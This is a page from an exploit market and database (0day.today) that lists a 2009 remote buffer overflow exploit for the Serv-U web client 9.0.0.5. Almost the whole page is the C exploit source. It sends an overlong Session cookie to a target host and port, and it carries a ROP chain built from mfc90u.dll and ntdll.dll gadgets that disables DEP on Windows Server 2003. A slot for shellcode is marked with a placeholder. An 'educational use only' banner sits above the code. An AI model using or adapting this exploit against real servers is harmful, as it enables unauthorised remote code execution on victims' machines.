[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Serv-u web client 9.0.0.5 buffer overflow

Author
Megumi Yanagishita
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-9578
Category
remote exploits
Date add
05-11-2009
Platform
unsorted
=========================================
Serv-u web client 9.0.0.5 buffer overflow
=========================================


# Title: Serv-u web client 9.0.0.5 buffer overflow
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Megumi Yanagishita
# Published: 2009-11-05
# Verified: yes

view source
print?
/*
    !!!FOR EDUCATIONAL USE ONLY!!!
     M.Yanagishita    Nov 2, 2009
    !!!FOR EDUCATIONAL USE ONLY!!!
*/
#include <winsock2.h>
#include <stdio.h>
 
#pragma comment(lib, "ws2_32")
 
#define Die(a) if(a){return;}
 
char request[] =
"POST / HTTP/1.1\r\nHost: %s\r\nCookie: killmenothing; SULang=de%%2CDE; themename=vista;"
" Session=_d838591b3a6257b0111138e6ca76c2c2409fb287b1473aa463db7f202caa09361bd7f8948c8d1adf4bd4f6c1c198eb9507545814%s\r\n"
"Content-Type: multipart/form-data; boundary=---------------------------25249352331758\r\nContent-Length: 0\r\n\r\n";
 
void main(int argc, char **argv)
{
    WSADATA wsaData;
    SOCKET s;
    struct hostent *he;
    struct sockaddr_in host;
    int len, sent, r;
    char *buf = new char[120000];
    char *payload = new char[100000];
 
    Die(argc<3);
    Die(WSAStartup(0x0101,&wsaData) != 0);
    Die((he = gethostbyname(argv[1])) == 0);
 
    host.sin_port = htons(atoi(argv[2]));
    host.sin_family = AF_INET;
    host.sin_addr = *((struct in_addr *)he->h_addr);
 
    Die((s = socket(2, 1, 6)) == -1);
    Die((connect(s, (struct sockaddr *) &host, sizeof(host))) == -1);
     
     
    memset(payload, 'C', 99999);
    memcpy(payload+(41000-62)*2+20, "4928b00f", 8); //add esp, 0x??? + ret
 
    //Bypass DEP in Win2k3 R2 SP2 Full Patched
    memcpy(payload +  0, "961ea378", 8);  //[mfc90u.dll]  pop esi + ret
    memcpy(payload +  8, "00020100", 8);  //esi <= 00010200 RW
    memcpy(payload + 16, "99aea478", 8);  //[mfc90u.dll]  push esp + pop ebp + ret 0c
    memcpy(payload + 24, "87e9a378", 8);  //[mfc90u.dll]  ret 20
    memcpy(payload + 32, "53c7b278", 8);  //[mfc90u.dll]  jmp esp
    memcpy(payload + 40, "47f5837c", 8);  //[ntdll.dll]   disable DEP, 0x7c98f547 for JP Win2k3
 
    //Shellcode here :>
    memcpy(payload+48, "ebfe", 4);
 
    payload[99999]=0;
    sprintf(buf, request, argv[1], payload);
 
    len = strlen(buf);
    sent = 0;
    r = send(s, buf, len, 0);
    sent += r;
    while(sent < len)
    {
        r = send(s, buf+sent, len-sent, 0);
        Die(r <= 0);
        sent += r;
    }
    closesocket(s);
 
}



#  0day.today [2024-07-02]  #